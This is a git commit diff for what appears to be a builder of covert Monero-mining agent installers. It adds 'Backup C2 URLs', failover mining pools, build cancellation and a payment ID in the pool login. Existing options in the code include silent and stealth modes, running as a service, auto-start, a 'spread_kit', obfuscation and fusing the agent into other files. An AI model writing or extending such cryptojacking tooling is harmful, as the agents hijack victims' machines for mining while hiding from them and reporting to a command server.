fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray

This commit is contained in:
drjones
2026-05-30 12:14:34 -07:00
parent d0bcf33767
commit 1afd319cd4
6 changed files with 187 additions and 32 deletions

View File

@@ -85,10 +85,9 @@ type AgentDefaults struct {
}
type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
MinimizeToTray bool `json:"minimize_to_tray"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
}
type AlertsConfig struct {
@@ -142,12 +141,11 @@ func DefaultConfig() *Config {
FileLogging: true,
StealthMode: false,
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
MinimizeToTray: true,
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
},
Alerts: AlertsConfig{
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
@@ -285,7 +283,6 @@ func mergeConfig(dst, src *Config) {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
@@ -471,7 +468,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
}
if has("alerts") {

View File

@@ -247,6 +247,9 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
if poolCfg.Wallet == "" {
poolCfg.Wallet = h.defaultPool.Wallet
}
// Always carry the payment ID from the server-wide default (agents don't
// supply their own payment ID).
poolCfg.PaymentID = h.defaultPool.PaymentID
return poolCfg
}

View File

@@ -102,11 +102,15 @@ type pendingShareResult struct {
}
type Config struct {
Host string
Port int
UseTLS bool
Wallet string
Password string
Host string
Port int
UseTLS bool
Wallet string
Password string
// PaymentID is an optional Monero integrated-address payment ID.
// When non-empty it is appended to the wallet login as "wallet.paymentID"
// so the pool can credit payouts to the correct sub-account.
PaymentID string
}
func NewProxy(cfg *Config) *Proxy {
@@ -267,9 +271,16 @@ func (p *Proxy) authenticate() error {
p.loginRequestID = loginID
p.mu.Unlock()
// Build the login wallet string. If a payment ID is configured, the pool
// receives "wallet.paymentID" which routes payouts to the correct account.
walletLogin := p.config.Wallet
if p.config.PaymentID != "" {
walletLogin = walletLogin + "." + p.config.PaymentID
}
// Login request
loginParams := []interface{}{
p.config.Wallet,
walletLogin,
p.config.Password,
"crypto-miner-server/1.0",
}

View File

@@ -121,11 +121,12 @@ func main() {
})
defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
}
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)

View File

@@ -1,4 +1,4 @@
import { useState, useEffect, useRef, useMemo } from 'react';
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
@@ -84,6 +84,8 @@ export default function BuilderPage() {
const [estimateLoading, setEstimateLoading] = useState(false);
// Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
const cancelTokenRef = useRef<string>('');
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
@@ -233,9 +235,11 @@ export default function BuilderPage() {
setError('Re-forge preflight failed — adjust settings and forge manually.');
return;
}
const reforgeToken = crypto.randomUUID();
cancelTokenRef.current = reforgeToken;
setBuilding(true);
try {
const result = await api.buildAgent(merged, fusionPrepFile);
const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed');
await finishForgeSuccess(result);
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
@@ -312,8 +316,23 @@ export default function BuilderPage() {
});
};
// Kill the current server-side compile via the cancel API, then stop the batch loop.
const handleKillBuild = useCallback(async () => {
const tok = cancelTokenRef.current;
if (tok) {
try { await api.cancelBuild(tok); } catch { /* ignore */ }
}
batchCancelRef.current = true;
setBuilding(false);
}, []);
const handleBatchCancel = () => {
batchCancelRef.current = true;
// Also kill the currently-running server compile
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
}
};
const handleBatchForge = async () => {
@@ -366,7 +385,10 @@ export default function BuilderPage() {
if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`);
}
const result = await api.buildAgent(req, file);
const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
setBatchJob((j) =>
j
@@ -441,16 +463,21 @@ export default function BuilderPage() {
return;
}
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setBuilding(true);
try {
const result = await api.buildAgent(normalized, fusionPrepFile);
const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
await finishForgeSuccess(result);
} catch (err: any) {
setError(err.message || 'Build failed');
if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed');
}
} finally {
cancelTokenRef.current = '';
setBuilding(false);
}
};
@@ -812,6 +839,43 @@ export default function BuilderPage() {
</div>
)}
</div>
{/* ── Backup server URLs (advanced) ───────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup C2 URLs
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(tried in order if the primary is unreachable)
</span>
</label>
{(form.backup_server_urls ?? []).map((url, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
<input
type="text"
className="input mono"
placeholder="http://192.168.x.x:8989"
value={url}
onChange={(e) => {
const urls = [...(form.backup_server_urls ?? [])];
urls[i] = e.target.value;
updateField('backup_server_urls', urls);
}}
/>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
updateField('backup_server_urls', urls);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
+ Add backup URL
</button>
</div>
)}
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input
@@ -1004,6 +1068,65 @@ export default function BuilderPage() {
/>
<p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p>
</div>
{/* ── Backup pools (advanced) ──────────────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup Pools
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(failover if the primary pool is unreachable)
</span>
</label>
{(form.backup_pools ?? []).map((bp, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
<input
type="text"
className="input mono"
placeholder="pool.supportxmr.com"
style={{ flex: '3 1 140px' }}
value={bp.host}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], host: e.target.value };
updateField('backup_pools', pools);
}}
/>
<input
type="number"
className="input"
placeholder="3333"
style={{ flex: '1 1 70px' }}
min={1} max={65535}
value={bp.port || ''}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
updateField('backup_pools', pools);
}}
/>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
<input type="checkbox" checked={!!bp.tls}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], tls: e.target.checked };
updateField('backup_pools', pools);
}} />
TLS
</label>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
updateField('backup_pools', pools);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
+ Add backup pool
</button>
</div>
)}
</div>
<div className="form-section">
@@ -1758,9 +1881,16 @@ export default function BuilderPage() {
</div>
)}
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
{building && !batchJob && (
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
Kill Build
</button>
)}
</div>
{!canForge && errorCount > 0 && (
<p className="forge-forge-blocked">
Forge is blocked until all preflight errors () are resolved. Warnings (!) still allow forging.

View File

@@ -169,7 +169,6 @@ export interface BackgroundConfig {
silent_mode: boolean;
run_as: string;
auto_start: boolean;
minimize_to_tray: boolean;
}
export interface AlertsConfig {
@@ -284,6 +283,21 @@ export interface BuildRequest {
spread_kit?: boolean;
obfuscate?: boolean;
sign_build?: boolean;
// Cancel token — set by the client before forging. Pass the same value to
// DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
cancel_token?: string;
// Backup pools tried in order if the primary pool is unreachable.
backup_pools?: BackupPool[];
// Backup C2 server URLs tried if the primary server_url is unreachable.
backup_server_urls?: string[];
}
/** Fallback Stratum pool baked into the agent at forge time. */
export interface BackupPool {
host: string;
port: number;
tls: boolean;
pass?: string;
}
export interface FusionEstimate {